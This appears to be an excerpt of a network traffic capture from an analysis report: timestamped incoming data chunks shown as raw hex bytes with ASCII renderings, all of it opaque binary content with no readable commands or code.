2023-05-30 09:06:51 UTC	21	IN	Data Raw: 27 a8 90 18 23 1a b6 5d 99 a7 28 bd 0b d3 83 55 44 a5 cd c0 c2 d1 c1 68 b8 0e d0 12 22 38 c2 cd 5b 0a 56 73 6a be 8e 7b 8c 70 37 26 4e d3 60 7d ca e7 bd 01 bf 48 13 73 c7 5d 75 9e 81 f9 14 b2 05 10 90 40 9c aa 2e 23 4d b0 34 da eb 71 9f 99 c4 ab a9 13 9e 21 7f e4 bb 2e a3 0e 20 66 27 ec e2 0a 29 3d 56 35 66 82 f4 a9 c2 af 66 f4 5e fd ea 87 c4 8f 29 cd d0 ee 3f 10 9c 6e 54 e6 96 94 4b cd 4a e0 f4 3d 7f 00 85 99 2b e3 42 92 03 00 2a 95 19 60 63 de 4a 7f a0 09 79 bd 87 f1 d9 2a 47 cf 14 41 be 2c 4a 5e f1 58 34 db 79 4b 2f 2c 04 b7 20 b9 a9 ec ca e9 07 06 41 5f fb 01 04 f2 6b ed 8c bf 32 8d c3 ba 38 85 05 9c 0d 66 75 d1 c9 68 a1 ed a5 88 5b 95 bc 5d 25 bd 38 bf 0f a8 44 c3 85 5f 82 60 12 3b 10 8a c6 ad f9 6d a4 b1 e5 4e 72 4d 8f 06 84 a7 c8 f6 d5 0b 0b d8 88 Data Ascii: '#](UDh"8[Vsj{p7&N`}Hs]u@.#M4q!. f')=V5ff^)?nTKJ=+B`cJyGA,J^X4yK/, A_k28fuh[]%8D_`;mNrM
2023-05-30 09:06:51 UTC	23	IN	Data Raw: d6 33 80 39 dd 82 e2 0c 8a 68 1b d9 d9 7a ba 8c b1 7f 43 67 76 2e 42 af 5a 71 d4 50 cb b2 fc 02 06 3b 71 f3 30 b7 aa b3 73 59 ed 8b fc e4 74 32 74 c5 85 7c c9 9f ab ad 4e 94 ad c3 a5 d6 37 da 57 68 c7 fd 66 15 ed da 3e 07 e5 0e 35 fb ae c3 56 0e 8f 42 2e 70 9b 31 03 35 a2 77 47 f9 74 f6 35 82 7d 5a 19 00 31 b0 bf 93 b7 dd f2 d7 9f a7 83 09 4b 88 67 02 fe 1f 13 5b d0 b6 aa 02 7c 1d 7f 38 0b 70 06 4d 96 58 9a f7 9a e9 76 b0 7e 8c 44 70 e0 92 f5 d9 14 3c b5 81 ad 1c 4f 6d 24 64 8f c7 31 81 97 2e 60 78 46 e8 a5 96 32 71 6e 68 fd 46 fd b8 9a 9a 7a 7e 71 6e 2d 3e 66 7c 8c c3 2a bf cd 36 95 82 63 dd 21 60 5f e3 a2 09 d8 cb 3c c4 98 3f 62 04 0f f8 24 0e bc 01 bc a5 13 31 22 77 b0 33 36 59 33 d2 67 97 cd e9 1e 6d c5 f6 c6 56 57 05 a5 29 37 83 5e 31 1a 58 8d 30 80 Data Ascii: 39hzCgv.BZqP;q0sYt2t\|N7Whf>5VB.p15wGt5}Z1Kg[\|8pMXv~Dp<Om$d1.`xF2qnhFz~qn->f\|*6c!`_<?b$1"w36Y3gmVW)7^1X0
2023-05-30 09:06:51 UTC	24	IN	Data Raw: 70 0f 43 04 65 a8 1b 44 b6 30 89 76 cd ba 82 18 3d 9e bb f4 24 de ec 64 5e 72 bb 46 93 9c 11 c9 5c 8c 46 8b 05 8b a0 57 e8 9d 51 a6 eb c8 96 7a a9 21 42 34 6d 6b 31 b1 e7 ad 44 b1 8c 9c 48 9c d9 4f 5e 13 cd 4a 62 8f 3a d1 0c d7 bb f3 9f 46 72 cd bc 64 b9 a8 28 34 1e 44 a0 b9 5d fc 63 59 a6 49 44 88 d7 9e 47 9c 53 ce f6 92 6a d8 8a f2 5a 37 5c 24 e0 85 8f 83 0d 39 ac 7b cf 13 d1 01 e4 3c 4f d2 d9 14 03 87 02 27 3e 07 18 6a e6 39 51 1d c2 59 8a 7a 62 da bf d0 b1 01 a8 06 ea 89 41 f2 7b bf cc a5 03 28 1d 05 19 eb e5 0a e9 56 c8 52 86 a4 ec bb 3b 4c 45 63 92 76 3f a1 94 2f 92 2f 5e 3b e5 01 60 6d aa 75 87 9a f7 70 32 cc 29 d5 46 f4 a1 49 e8 f2 ea d1 26 e0 f8 3f c0 e6 f0 bd 25 82 0e e6 e6 c7 71 01 27 7f 6c 4b ea f6 68 b6 d3 3a 5e 19 ea 43 2e ae c8 ac 5c 7e 72 Data Ascii: pCeD0v=$d^rF\FWQz!B4mk1DHO^Jb:Frd(4D]cYIDGSjZ7\$9{<O'>j9QYzbA{(VR;LEcv?//^;`mup2)FI&?%q'lKh:^C.\~r
2023-05-30 09:06:51 UTC	25	IN	Data Raw: 02 c8 91 e0 ee 2b 80 da d9 71 00 06 db 23 9f dd fe b5 f8 3f fe cf 5d 12 90 f1 bf 32 95 94 7e f5 6b bf 06 e7 6b 32 8e a3 ec 63 5d 5d b3 6f 46 c6 41 d1 90 e9 97 5f 94 35 aa 18 13 55 23 47 e3 75 6f 5b 89 f1 78 3c e2 9a 4d 23 fe fc b6 17 28 86 d4 07 e2 9c fc 66 e8 7a e2 46 7b d1 13 bf d2 b5 d0 e1 83 c1 b9 4c 6e e4 df b2 5c 9c 40 7b e7 50 2e e3 d9 df 16 f5 ed 0c 2f f1 f2 db 9e bd 60 bb 2d 23 36 f2 7a f4 11 46 da 11 43 2c 85 38 75 4e 75 5c 58 44 98 3d 48 ab bb 77 7c 39 b5 db c0 1d d7 13 83 50 2f 02 8d dc 61 ed fa 4d 67 21 c8 5f 4e 3c e8 32 c2 89 d1 c8 6b ce 75 56 16 fd 3e b1 a2 13 b9 6c 0c 34 2c 7e 75 c1 76 eb 45 ba 50 90 d9 e0 8a 24 0f d9 de 4b 9a b2 dc fa 7b 66 95 14 6c 65 65 61 ad a5 a2 a4 da 08 ef 36 56 ce e9 0f d7 3e 51 9a 51 e7 75 4e 84 14 97 2c 9f 3a 02 Data Ascii: +q#?]2~kk2c]]oFA_5U#Guo[x<M#(fzF{Ln\@{P./`-#6zFC,8uNu\XD=Hw\|9P/aMg!_N<2kuV>l4,~uvEP$K{fleea6V>QQuN,:
2023-05-30 09:06:51 UTC	26	IN	Data Raw: 61 42 05 20 ec 95 88 87 b3 c8 1c 92 7a 91 4a 1b fd 95 5d ea 5b 52 c5 ee bf 0d f5 f4 01 14 01 88 cd ba c1 67 6a 31 79 1c 9c 21 d9 6a 66 61 d7 64 3f 8a 84 d3 54 5e 1c 35 7f fd 1c eb 1b 73 d6 92 a1 2b b0 29 d1 fe 08 f9 7e 42 0e 40 a4 2c 96 8d b9 a0 1d 24 5d af df 3d 5e a6 87 3d 3c c6 b0 ae 33 dc 05 bb c3 7d 63 d0 fb 81 95 c2 e7 22 43 b5 f4 c9 1a 76 72 2f fe 12 92 e7 0f 4b 3a 35 7e 64 ef d5 ba 25 04 10 05 72 e3 91 5d d0 fc 81 12 c2 ba fd 56 f1 5e c7 b7 ab c6 c8 21 7d 7f 25 72 c2 aa ee 09 2f b7 cf 61 c4 33 87 e9 73 9f ca 56 bd 3d 87 64 b5 77 d0 9f b5 ea bf 1c 97 bf 5c 9c 2d 51 a9 ed cd c8 49 10 e1 d5 40 67 0f d2 c6 60 04 ba 97 21 90 79 b3 f2 f3 76 ba 68 c0 d3 24 02 db 58 1e d4 26 78 10 a9 9c 49 1a 40 25 52 bd 03 34 dd 85 48 18 0a 8f 5a 79 00 43 33 e5 af fc 34 Data Ascii: aB zJ][Rgj1y!jfad?T^5s+)~B@,$]=^=<3}c"Cvr/K:5~d%r]V^!}%r/a3sV=dw\-QI@g`!yvh$X&xI@%R4HZyC34
2023-05-30 09:06:51 UTC	27	IN	Data Raw: 05 d8 8f 00 27 ef c0 7b 62 07 d2 fd 83 0c 92 ea f4 47 19 44 f1 fd 63 d2 f8 bf c2 e8 54 ec d7 47 7f cb 1b 5f 4f 9c 6a 27 e0 3e 62 4d 40 aa f5 b3 09 86 33 db 4f 75 f1 bd 8d 38 9f 96 18 31 e6 43 4d 6e c3 a1 8f 38 80 a0 b8 08 ff eb b3 35 36 2e be ac 03 59 c8 6c 21 d8 61 14 61 1c a1 ab b1 3d 30 b8 15 6d 64 2f 9b b8 32 2e 07 f0 9d 79 8e 69 f7 23 46 54 66 43 e0 40 84 5e 3e 9c f6 c6 ba 1a e2 86 f3 30 ba 78 33 3c 05 ae 2b 02 8d 27 aa fe d0 3d 37 a4 82 40 cc 6b 76 a4 b3 6e 8f 2a 08 06 db f5 e2 0d 05 fa 85 07 bc e3 f6 db 14 dc 66 ec 97 6c 92 73 7a 62 99 3e 54 0f ad 02 28 a4 ee 1d a1 ef 1e b6 7d 3d 3a f4 6b b0 0d 72 e6 e7 af 43 4e 23 e3 e2 42 c7 e3 d6 57 58 4f 9c c4 bf 03 c5 83 26 ce 02 b1 ba 9a 62 24 a6 c9 0d fc 0e 2e 15 ad 25 29 ab 71 f8 81 88 9f 9f cb 10 26 22 16 Data Ascii: '{bGDcTG_Oj'>bM@3Ou81CMn856.Yl!aa=0md/2.yi#FTfC@^>0x3<+'=7@kvn*flszb>T(}=:krCN#BWXO&b$.%)q&"
2023-05-30 09:06:51 UTC	29	IN	Data Raw: db aa 07 a8 4f 1a e2 11 64 a4 8c 66 e6 cb ca 14 55 75 73 09 87 7f 13 38 72 89 b4 f6 13 e5 99 10 06 f1 4d bf f2 74 bf fe 65 02 fe 4e 20 f3 5f 64 72 2d 99 1f 12 33 92 c1 3b dc 93 31 dd 94 5f 08 f1 c6 04 32 e5 6a 28 6b 76 ff cd 31 8a dc a5 21 e7 89 83 fb 0a 84 57 1b fe 42 fb c8 8f 9a 25 ad 6d c4 62 8d 2c 8b 0d c7 c7 2c 3e 55 c0 b3 ca 9c be 9e 57 e5 80 92 a5 fe c0 5d 85 23 0f b4 e0 01 47 e1 af 3b 56 8c 67 ce ab 14 46 c8 f1 ad dd cf 50 ce 3e dc 71 d0 5c 28 ed 1b 69 e9 35 cf 8c 5f f6 d2 1f fd 4f f8 44 fe 11 ef cd d4 bd 1d d4 3f 7d 86 03 e7 4e 7a f8 58 6a 4c 55 32 0d 0d 12 ba c0 af cb b1 4e d9 26 cd d3 52 72 1f 79 1e ce 07 93 f9 9d 7a c5 5e 6e b5 e0 0a 2e 5f 0c 8c 25 5b b2 d0 e2 75 1f 40 e8 4c 66 4d 5f 2b af 53 54 59 2a 5f 55 d4 e9 33 6c 74 ca f9 81 a0 d8 1a 57 Data Ascii: OdfUus8rMteN _dr-3;1_2j(kv1!WB%mb,,>UW]#G;VgFP>q\(i5_OD?}NzXjLU2N&Rryz^n._%[u@LfM_+STY*_U3ltW
2023-05-30 09:06:51 UTC	30	IN	Data Raw: 8a 5f bb 82 26 3d 12 ba fc ea 68 05 74 c4 14 77 69 37 7c a8 41 d6 7c 5c b6 c3 9c a8 72 80 ed 67 77 8a 9f 96 bb 46 c4 96 f8 f4 30 16 65 9f 57 5c 1d de ba d7 1f f7 51 d3 9c 99 47 20 ba 06 90 81 0a ff 18 7f ef bd ed 24 d6 eb 84 b7 b2 f8 2f 3b 6e 06 1d 62 c3 a0 87 7c b3 3b 52 76 37 0e 81 ab 5d 99 43 8f 78 ee e3 14 1a ed 36 34 90 5f ce d9 6c 03 f0 98 92 9f 75 92 fc 0d a9 06 17 13 b1 91 51 82 2e 82 3c f7 d9 5f 79 4b c8 75 49 05 43 44 ff 86 7b ef 27 b0 c9 54 ad c8 d6 dc 57 6f af 27 12 90 da 07 da e8 05 5d 8e f1 0d dc 6e ab e7 53 38 b2 05 e7 86 27 33 25 3a 3d 26 c9 93 82 a1 2a 44 98 8d 6a 90 a1 f2 7c 6d 1d 7c d4 0c b3 a0 b7 ec a5 e6 47 7d cd 83 b4 83 d9 bb 5e 93 c9 23 62 2c 13 69 5f 74 6e 38 03 33 b0 48 78 84 d9 2d e1 69 eb 93 aa ab cb 42 8f a5 55 c2 d7 d4 11 85 Data Ascii: _&=htwi7\|A\|\rgwF0eW\QG $/;nb\|;Rv7]Cx64_luQ.<_yKuICD{'TWo']nS8'3%:=&*Dj\|m\|G}^#b,i_tn83Hx-iBU
2023-05-30 09:06:51 UTC	31	IN	Data Raw: 96 ca 46 45 37 af e2 f2 0f 18 02 6d f2 4f 5e f7 70 77 51 60 aa 48 15 97 e6 ac 25 9e 67 be b9 1d 10 8d 11 bf e6 48 04 ea 97 db 21 2e cc ad ef d4 fd 56 6a 3d 51 ec 0f d2 95 56 1d cc 83 a1 73 6d 95 81 e2 ce 6a 73 95 fb 05 d0 c0 79 b4 81 3d 7b 75 1b b7 4a 54 44 73 a3 62 5e 1b 94 da 87 15 98 68 06 ae c8 1b 95 2e 74 51 78 da c9 28 fc a7 e1 34 04 a1 f6 21 ba 28 e3 7b 0a 89 59 84 ee 90 0e 6e 9b a6 54 47 35 3f 68 fd 1c 5a f0 f4 c5 48 8e 2b b6 f0 7b 32 51 bc fc 99 28 bb 78 02 b9 7e 10 fa af 02 55 f7 a3 10 27 bc fe 20 a0 d3 f4 d9 05 13 ea 58 b0 79 5c f3 4f 14 cf 3f ae e7 ce 7b e5 fa f2 46 c2 3a f6 01 b1 9f 55 55 a9 62 8b 85 6c 71 2e f0 7c f4 5b 08 4f 14 50 0e ed 36 d6 1e c8 9a d6 07 da 9a 1e fa bd bc 81 18 dc 40 52 25 00 1c a6 e7 b4 71 6a 45 35 99 df fd 5b d5 10 2b Data Ascii: FE7mO^pwQ`H%gH!.Vj=QVsmjsy={uJTDsb^h.tQx(4!({YnTG5?hZH+{2Q(x~U' Xy\O?{F:UUblq.\|[OP6@R%qjE5[+
2023-05-30 09:06:51 UTC	32	IN	Data Raw: ad a4 11 24 65 90 74 22 3b 15 7e 7e 30 fc 9c 11 02 bd 1a 22 16 bf d9 0d 46 bc a7 72 86 3b 3b aa f9 22 c7 a2 8c eb 15 76 17 37 25 f1 c9 aa d1 14 36 5b 09 7c ab e1 31 b6 0b bb ad aa 6f 76 2f ad 2a f4 7d 03 2f a9 54 0a 9e 19 a4 15 77 a0 e5 9c 56 36 fc aa 24 2e f3 01 37 19 b3 f2 2a 84 30 df 77 86 14 40 e5 31 e8 47 8b 78 3c 74 39 16 9a b4 68 a5 8f f1 75 c3 06 30 dc 26 9e 28 4b e1 3e 05 f0 37 49 64 97 2f 3e fe 92 0b 0a 62 d5 27 48 db c6 e9 6d 61 83 1b ee ab 39 54 03 ab 64 ae 17 18 8d 47 95 19 74 6f 55 b9 3d 24 36 70 d8 c0 9c 8a aa e9 89 80 b7 c9 8a ac 26 c0 2b 4d 86 7d ed 09 12 c0 89 84 ba 68 17 36 53 65 30 1b 8d d6 38 75 1d 97 19 88 77 bd 70 87 a6 1e 33 91 a2 68 d0 2e c2 41 cd a6 d4 0e dc c8 5e 3e 56 4a 4a 7c 7d 61 ad 71 79 56 18 d5 1f 18 5e 40 90 87 3f f8 c0 Data Ascii: $et";~~0"Fr;;"v7%6[\|1ov/}/TwV6$.70w@1Gx<t9hu0&(K>7Id/>b'Hma9TdGtoU=$6p&+M}h6Se08uwp3h.A^>VJJ\|}aqyV^@?
2023-05-30 09:06:51 UTC	34	IN	Data Raw: 7b cb 46 fb 3f ad 41 79 02 97 4d 60 47 c9 c1 86 b0 ed 73 0e 2d cd c7 62 f0 e8 c2 fe 59 9c c9 04 11 ac 2d 0a bd fc 68 d6 39 0c c4 e9 a0 00 c5 2c 2c 41 44 4d f6 8b d5 94 64 5e 1f 48 11 af 32 f2 d5 8e ca 1f 4a 52 51 a2 27 85 1c a7 00 14 4b a5 0f ed 1e ad a7 43 6e a4 a3 ee 5a c2 df 31 30 72 78 0f 1f cc 44 e9 61 3d 24 cd 6e 4a Data Ascii: {F?AyM`Gs-bY-h9,,ADMd^H2JRQ'KCnZ10rxDa=$nJ
2023-05-30 09:06:51 UTC	34	IN	Data Raw: 21 7b 7c f6 36 8a 72 94 ce e1 d6 b6 eb 7d d5 83 78 2f 61 27 6a c5 fc ca 30 7a cf 7e 32 fc d8 c5 b1 d6 a8 ab 3d 0a 30 92 1f 5a d3 c6 e0 8c b6 2a a5 69 0f b3 f6 3d 7f 13 ac a2 2a a0 28 02 f9 1a 86 2b 57 f7 5b 4c ff c2 77 8d 3e c9 fb f4 ab 78 2e 6a 98 59 29 6b ac e7 cc 56 55 ec dc fa a2 0c 93 76 37 0a ca c4 4f 7d 9d 43 16 13 8c 82 40 02 ab 4a fe c6 6b bd 30 7d 5e 40 5e 25 7a ce 23 b0 03 4c 1e 1b 68 5e 73 7c 49 1b c1 d0 5f 7a 0b 56 25 30 f8 a9 64 c1 8b 50 3f a7 a3 76 48 24 48 c3 1b ea 9b 11 2b 75 a1 06 29 86 2a 91 ba 78 45 cb d8 4a 28 ac 06 08 79 99 43 50 5e 52 af 3b 4f c8 e9 4c a1 ff af 24 45 d4 eb a9 f4 73 c7 9d 15 c3 89 94 e2 7c 17 bf 0e b7 69 42 93 a4 65 3a 57 6f d1 ff 51 d9 8d 16 c1 8e 82 09 91 78 74 77 e2 00 3c 20 c8 ec 5e 0c 2d 8e 71 45 c4 29 62 31 9f Data Ascii: !{\|6r}x/a'j0z~2=0Zi=(+W[Lw>x.jY)kVUv7O}C@Jk0}^@^%z#Lh^s\|I_zV%0dP?vH$H+u)*xEJ(yCP^R;OL$Es\|iBe:WoQxtw< ^-qE)b1
2023-05-30 09:06:51 UTC	35	IN	Data Raw: 08 8d f6 65 c9 38 26 9e 3b a4 48 d2 5e 68 77 97 1d 7c ca 7e 19 bf 31 c3 95 25 1c 1d 51 f8 47 d4 c9 70 06 ba 22 13 d8 2a 25 99 b6 1d bf 0f 5a 42 2a 8d a3 d8 ef 48 02 62 9e 4c 0c e0 a1 37 37 c2 5a e1 e1 78 78 d7 fb 9e 50 5e 55 84 33 db 2f 71 15 0a a0 ae ad f2 ff c1 cc 96 e1 ea c3 d2 16 d6 31 d0 c6 4b 95 0c 49 7f ad 24 11 95 14 c4 49 03 58 0a 33 64 fd f8 04 4a e8 d8 3a e9 f4 5f 82 34 82 03 14 98 2b 3a f6 20 b0 48 0e cc ae ce a8 c4 4a b0 2c f8 b5 12 9c 7a 4c f0 01 5d 9e 76 28 97 cf de 19 bb 36 ed 17 cd 40 30 6a eb 78 69 1c bf 95 7a d7 a9 6b fd d8 9b 27 20 3a 0e 92 cd fd ab ad 53 f8 7d 2a 85 ec 1f c7 f3 03 42 d4 29 93 80 1f a6 1a 99 17 b0 1d 98 47 6b ba da b9 01 d8 26 33 6a c2 2c c2 23 5c c9 18 e4 44 f8 02 d3 fd 50 ac 4d 31 f3 61 c1 c3 f5 a2 cb 27 ff bf 3c 3a Data Ascii: e8&;H^hw\|~1%QGp"%ZBHbL77ZxxP^U3/q1KI$IX3dJ:_4+: HJ,zL]v(6@0jxizk' :S}*B)Gk&3j,#\DPM1a'<:
2023-05-30 09:06:51 UTC	36	IN	Data Raw: 22 91 2f be 85 43 29 21 4c f6 2d 59 df 6f 5f 7f 4e 92 74 fe 72 53 f4 86 31 30 10 bb 7e 1e 6f 52 33 4f c9 82 f5 30 12 68 e5 c9 7a e5 25 d6 b2 14 c7 e0 d7 df c8 4a 3e 5b 8d 40 86 7d 76 ca 3d 4e dd 6b 88 bb f5 68 ed c5 4e d6 83 f3 58 32 ed b2 05 c4 8c fc 5c 1c 6d 00 a6 9b b1 71 d9 e9 2d 7d 9f 4b ea a2 66 35 76 29 43 6f e8 72 17 61 10 84 ce 5e c5 5e 8f c3 d5 98 20 c0 8c 52 01 c1 e8 c4 df 23 9b 3e 2d f9 fe c2 49 5a d6 a4 37 12 43 93 02 6a b9 6c 58 e7 15 6d 12 22 09 ee c9 d1 95 de 12 72 35 3f b0 ce 77 66 cc 42 67 4e dc 17 07 38 2a a7 27 ec 7a 8e a0 63 89 28 b5 bf 06 53 1f a4 11 31 e1 af 8c c1 38 d7 f2 64 e4 1e d0 1d 12 8f b3 d2 8f 28 c0 2a 2b 6d 86 32 77 31 15 a3 6c 1c 36 95 bd 8d 78 55 06 ff 24 d5 e8 94 34 28 cf 5d 8b a9 37 17 47 d1 9f d4 10 07 99 8f 58 2a 90 Data Ascii: "/C)!L-Yo_NtrS10~oR3O0hz%J>[@}v=NkhNX2\mq-}Kf5v)Cora^^ R#>-IZ7CjlXm"r5?wfBgN8'zc(S18d(+m2w1l6xU$4(]7GX*
2023-05-30 09:06:51 UTC	37	IN	Data Raw: 04 30 4c 5d f4 af c4 10 ac b8 ca f6 ac db d2 da 65 ba 58 b7 6b ec 9a 4e f1 fa 1e fa 8b ab c2 8e 55 69 34 8a 9c 4b 49 72 d4 28 d8 80 85 69 90 44 30 48 71 14 e8 79 75 0a 44 c5 ad 9e 53 08 84 b2 7c da d4 f2 34 62 3f a6 c6 b2 5a bd 0b b6 a3 17 67 86 e1 c4 8a e4 4c b6 7c f7 1a 12 cd 80 5a f7 49 4c 10 69 54 25 43 4d 2b c4 ca 75 f4 86 eb 3f 8d af 3f 64 18 57 15 ea e5 1c c0 c6 5a 46 d9 ed db 72 4d 15 0e 79 7b 7e 39 a2 01 f8 6e 95 02 31 b3 f5 c6 43 91 ec c3 cf 17 a3 48 ea 80 01 a2 24 26 ff d6 08 89 6e 30 52 07 b5 e0 01 3f 8f 25 05 92 00 33 54 d7 33 f7 24 61 4b aa ef 4c 96 a0 b0 b3 5a 6b 91 ae cc c0 13 06 8a 28 7f 69 69 02 ce 6a 79 22 51 f7 cf a3 d9 cd 62 cb ee 61 61 9b 41 a1 8b 43 cc 6f 28 96 51 f8 5d e4 d6 31 b8 10 0b cb 39 97 ba dd 77 fe 07 45 31 d5 06 6a 56 3d Data Ascii: 0L]eXkNUi4KIr(iD0HqyuDS\|4b?ZgL\|ZILiT%CM+u??dWZFrMy{~9n1CH$&n0R?%3T3$aKLZk(iijy"QbaaACo(Q]19wE1jV=
2023-05-30 09:06:51 UTC	39	IN	Data Raw: 8b 2c f8 9e a0 f3 71 f6 07 8f 43 75 9d 66 57 98 90 91 aa cd b3 f0 a9 3c d3 cb 49 91 01 e0 f6 76 18 8d e9 d9 ce 0e 06 a6 fa 20 88 ec 86 a9 84 6a 29 f0 4e a9 a3 f2 c5 cf 0c cc 57 d5 56 14 1a d9 25 de 2b 93 32 96 52 9b 26 0e ee 40 ac 38 ec 6f 95 fd 24 78 b2 b8 90 d7 76 f0 d7 af cd c5 93 7c af 8e 3e 2f 27 0a 63 47 45 84 1f e5 2b 5b 2f ce b0 4c 5a ea 56 73 4b 6a a8 3a 35 21 7b ff 9b bf 2a ef 08 fe e8 55 36 f0 f9 39 ce ad 71 25 41 6f 39 b7 2d 86 ad 5e 6e 45 ca 29 21 43 fe 99 07 72 56 f2 e7 27 2f d9 77 66 f7 84 ed 1c 73 f8 cc a8 1b 2c 14 79 38 aa 16 f0 1d 67 cf e8 53 34 ab 61 84 51 f1 fd 06 85 f3 7c ff cf 65 63 70 4a 4e e6 b4 1f e9 4d b1 7d 1c 50 13 88 fe ba 4d d1 8f 42 5e 1c 5e 91 dc a2 c4 2a 30 54 a8 19 55 12 25 26 00 46 0e b8 2d e7 96 39 ac ab 65 72 94 16 b4 Data Ascii: ,qCufW<Iv j)NWV%+2R&@8o$xv\|>/'cGE+[/LZVsKj:5!{U69q%Ao9-^nE)!CrV'/wfs,y8gS4aQ\|ecpJNM}PMB^^0TU%&F-9er
2023-05-30 09:06:51 UTC	40	IN	Data Raw: 48 89 13 a5 55 c2 b3 60 c3 53 fa 29 53 c7 05 b9 0f bc 5e 5b 01 81 a9 bf 18 40 6b 4a 09 f9 83 91 41 ff 59 e7 15 89 a9 f1 da f8 27 7d 1a 8b d5 87 f4 a5 e3 d5 b2 9c 93 57 6c ed de 9a 88 a3 de 6e f8 ab a8 5a 00 a1 4e 90 e2 df 1c 34 11 a0 ea 6e cc 97 85 9c cd a3 4c b4 a7 85 3d 81 c4 f4 72 ab ee 00 73 8c 05 36 23 30 92 4c 5d 29 77 0d 8b 12 1a 47 d9 72 1e 71 d5 bb 84 79 40 04 86 a7 e9 63 53 4b 7e 9e 11 52 41 e9 06 4d 66 86 56 85 d8 04 59 6a e1 f7 dc 02 b4 24 15 34 6e cc 00 aa d8 df 6e 3a 54 36 c1 44 4a dd db a6 af 7e f1 c2 b4 55 2e 98 a5 56 7f be cc 84 0d 2e 72 0c 56 f6 87 e1 76 4c f0 bb 31 73 04 3e 25 71 63 dc d6 ea 4f 6c ff b4 db af 09 85 35 2d 9e 6c 6e 39 31 b5 8d 7b 0e 12 cd 55 84 db c0 bd 58 6c 02 3e 21 33 89 35 63 ec 19 1b 48 78 6a 05 2c e9 2c 12 79 6d bd Data Ascii: HU`S)S^[@kJAY'}WlnZN4nL=rs6#0L])wGrqy@cSK~RAMfVYj$4nn:T6DJ~U.V.rVvL1s>%qcOl5-ln91{UXl>!35cHxj,,ym
2023-05-30 09:06:51 UTC	41	IN	Data Raw: d5 87 bb e5 ec 5a 78 ad 32 bd 74 75 61 7f 9f 39 51 63 cb 2b 50 10 d9 fb fc 43 74 5f e0 28 d9 dc 57 94 98 ca bf 6c b7 c1 fd 0c 3a 63 40 47 68 aa 5c 20 8b 03 e2 e3 51 7a 87 d3 d3 07 b3 61 57 2b 16 e3 73 6b d2 cd b4 a4 e9 75 e7 fa 24 62 02 bf f3 63 d2 2a 5a a2 2a 80 47 31 f0 f5 31 12 2b 86 0a c7 bf a3 a1 fd f1 73 ce 03 db 71 e5 78 d9 da 36 1e 9e 51 fe bf 72 e4 ca 47 a9 1f 02 d0 93 3e 37 04 e6 aa 34 f1 3a 1b fc 32 7c fc 07 ef 81 60 71 79 74 cc 91 61 04 8b 5f 16 11 ba 61 41 ab c0 37 cc 97 1a 1c 93 ff 1c 9b 2d 64 ed f1 92 40 3f a7 35 4d 07 f8 02 70 4f 5f 0f 1d a3 c0 98 2a c7 4b 38 47 ab f3 a2 e4 1c 77 ae 1d d6 88 59 5f bf 1c 63 65 df 4b 17 3a 87 d1 88 8a 0d 6e b6 06 61 17 ec 11 02 4a a1 0f 4a 0f 30 23 32 15 af f2 16 62 a6 57 79 7d b2 e5 a9 00 7b b3 15 5b ad 82 Data Ascii: Zx2tua9Qc+PCt_(Wl:c@Gh\ QzaW+sku$bcZG11+sqx6QrG>74:2\|`qyta_aA7-d@?5MpO_*K8GwY_ceK:naJJ0#2bWy}{[
2023-05-30 09:06:51 UTC	42	IN	Data Raw: 66 f9 85 70 92 96 de 51 7f 84 1e ee cf 41 99 e7 7b fb 39 06 65 e4 f6 e3 c3 d7 f1 41 1a 96 6d c3 21 12 8e e3 16 1a 5e cb e8 af 68 8c 67 c1 ef 89 8b 8d cc 62 92 39 18 4f 9d c0 58 d4 6f a9 52 1e b6 e5 9e ba f6 e4 62 a1 63 33 1e 2c a8 9f 79 70 77 6f e5 45 b0 c2 c9 bc 86 40 00 2e 6e c8 2a 0b 77 90 9d c1 ef 3d 31 81 6a 68 81 ce 35 16 fe 81 d9 3d d1 65 5f 53 ad 38 1c c3 c1 f1 82 63 d9 96 05 95 4b 71 7c c4 ab 4d d4 4d 16 be bb 7c 1e db b8 19 af 43 92 3c 3a 82 f5 cd 72 b6 0a 85 b2 d9 8e ee 77 52 e0 ce 76 60 e3 97 35 31 2a 07 d3 5a d3 b2 50 46 3d 04 c7 41 6d 91 b0 90 23 73 49 0d df c5 12 74 16 f5 7d be a8 8b 9b 7c 05 8a fb fd 30 4b 22 b1 93 2d f6 ee dd 0d e5 37 de 70 7f 56 1c 98 1a 39 8f 4c 60 c9 f0 7c ee 1e d4 65 3f 13 07 b7 2b be 0e 5d 59 b5 c7 c8 c1 43 9d db 88 Data Ascii: fpQA{9eAm!^hgb9OXoRbc3,ypwoE@.nw=1jh5=e_S8cKq\|MM\|C<:rwRv`51ZPF=Am#sIt}\|0K"-7pV9L`\|e?+]YC
2023-05-30 09:06:51 UTC	43	IN	Data Raw: dd 34 25 d6 e2 73 da 8c ad df 55 84 50 ac a6 84 26 89 d9 76 49 a5 1f 4c b4 b2 d4 99 2d 47 84 f0 8b 44 c9 f7 36 37 41 e6 17 5c f8 8c a8 41 0f 45 f0 48 67 cf a6 23 40 ef cb 30 a9 d8 ca d3 cf ac c1 24 e7 22 04 16 31 db 03 7b cb 8a c3 d4 32 83 9c 0c 41 1c ae 30 2a d2 e6 ae b5 07 37 3d 5d ec 8c 95 21 32 bd a0 95 a6 f0 5c 8a 9b 09 23 3d 1e de 46 75 f4 da 02 13 ae 75 77 1b 86 21 eb a4 18 c0 1e 50 d8 c5 e7 63 f3 66 8d a6 9b a1 04 dc 5b db cc 27 6f ae 0b 4d 7f f6 3e 96 59 b0 22 33 c7 6c 2e 88 54 e8 4d d4 ba b6 08 ea bd 51 02 8a c5 65 48 47 d9 41 68 9b 3c 67 0e 12 cb ae e8 49 3e 12 53 1e 37 55 82 1d 49 b0 d5 02 b7 55 76 31 d0 89 b1 02 b5 4c 2b 47 bb 59 96 7f eb 6b 4a 06 b9 2f e7 13 0d 87 78 ac a1 bb 5e 7d 7e cf 7f 48 99 57 a1 14 83 e5 30 a4 32 8c f3 8d fa 75 14 46 Data Ascii: 4%sUP&vIL-GD67A\AEHg#@0$"1{2A0*7=]!2\#=Fuuw!Pcf['oM>Y"3l.TMQeHGAh<gI>S7UIUv1L+GYkJ/x^}~HW02uF
